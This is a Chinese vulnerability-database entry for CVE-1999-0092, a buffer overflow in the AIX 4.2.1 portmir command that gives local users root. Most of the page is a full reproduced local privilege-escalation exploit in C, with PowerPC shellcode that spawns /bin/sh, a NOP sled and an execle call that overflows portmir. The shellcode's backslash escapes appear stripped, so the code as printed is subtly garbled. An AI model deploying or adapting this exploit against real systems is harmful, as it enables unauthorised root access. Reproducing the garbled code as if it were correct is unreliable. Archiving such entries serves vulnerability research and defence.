AIX portmir命令权限许可漏洞

AIX portmir命令权限许可漏洞

漏洞ID 1105332 漏洞类型 未知
发布时间 1997-10-29 更新时间 1997-10-29
图片[1]-AIX portmir命令权限许可漏洞-安全小百科CVE编号 CVE-1999-0092
图片[2]-AIX portmir命令权限许可漏洞-安全小百科CNNVD-ID CNNVD-199710-026
漏洞平台 AIX CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19306
https://www.securityfocus.com/bid/80173
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199710-026
|漏洞详情
AIXportmir命令中存在多种漏洞。本地用户可以获得根使用权。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/385/info

AIX version 4.2.1 introduced a new command titled 'portmir'. This new program had two notable vulnerabilites. First it contained a buffer overflow which allowed malicious users to obtain root privileges. Secondly it wrote it's log files to a world readable directly thereby exposing security relavent information. 
*/

/*## copyright LAST STAGE OF DELIRIUM oct 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/portmir                                                        #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

#define ADRNUM 400
#define NOPNUM 16000
#define ALLIGN 2

char shellcode[]=
    "x7cxa5x2ax79"     /* xor.    r5,r5,r5               */
    "x40x82xffxfd"     /* bnel    <shellcode>            */
    "x7fxe8x02xa6"     /* mflr    r31                    */
    "x3bxffx01x20"     /* cal     r31,0x120(r31)         */
    "x38x7fxffx08"     /* cal     r3,-248(r31)           */
    "x38x9fxffx10"     /* cal     r4,-240(r31)           */
    "x90x7fxffx10"     /* st      r3,-240(r31)           */
    "x90xbfxffx14"     /* st      r5,-236(r31)           */
    "x88x5fxffx0f"     /* lbz     r2,-241(r31)           */
    "x98xbfxffx0f"     /* stb     r5,-241(r31)           */
    "x4cxc6x33x42"     /* crorc   cr6,cr6,cr6            */
    "x44xffxffx02"     /* svca                           */
    "/bin/shxff"
;

char nop[]="x7fxffxfbx78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM oct 2000 poland  //lsd-pl.net/n");
    printf("/usr/sbin/portmir for aix 4.2 4.3 4.3.x PowerPC/POWERnn");

    if(argc<2){
        printf("usage: %s 42|43|433n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case  42: shellcode[55]=0x02; break;
    case  43: shellcode[55]=0x04; break;
    case 433: shellcode[55]=0x03; break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;

    envp[0]=&buffer[1000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<ALLIGN;i++) *b++=adr[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    b=&buffer[1000];
    sprintf(b,"xxx=");b+=4;
    for(i=0;i<ALLIGN;i++) *b++=' ';
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/sbin/portmir","lsd","-t",buffer,0,envp);
}
|受影响的产品
IBM AIX 4.2.1
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:ibm:aix:4.2.1*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0092

相关推荐: WebSTAR及其他服务器Blue World Lasso CGI信息泄露漏洞

WebSTAR及其他服务器Blue World Lasso CGI信息泄露漏洞 漏洞ID 1207497 漏洞类型 未知 发布时间 1997-08-19 更新时间 1997-08-19 CVE编号 CVE-1999-1250 CNNVD-ID CNNVD-19…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享